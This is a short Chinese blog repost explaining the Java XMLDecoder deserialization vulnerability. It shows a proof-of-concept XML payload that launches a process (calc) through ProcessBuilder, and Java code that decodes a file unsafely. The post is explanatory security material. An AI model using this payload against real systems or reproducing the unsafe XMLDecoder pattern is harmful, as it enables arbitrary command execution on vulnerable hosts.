首页 > 其他 > 详细

XMLDecoder反序列化漏洞

时间:2017-09-01 10:43:14      阅读:846      评论:0      收藏:0      [点我收藏+]

Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。


样例XML文件如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1">
			<void index="0">
				<string>calc</string>
			</void>
		</array>
		<void method="start" />
	</object>
</java>


对应Java代码如下所示:

package xmldecoder;

import java.io.BufferedInputStream;  
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;  
import java.util.ArrayList;  
import java.util.List;

  


public class XmlDecoderTest {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		java.io.File file = new java.io.File("d:/tmp/xmldecoder.xml");
		
		java.beans.XMLDecoder xd = null;
		try {
			xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
		} catch (FileNotFoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}  
		  
        Object s2 = xd.readObject();  
        xd.close();
	}

}


执行效果如下所示:

技术分享


XMLDecoder反序列化漏洞

原文:http://duallay.blog.51cto.com/635999/1961598

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!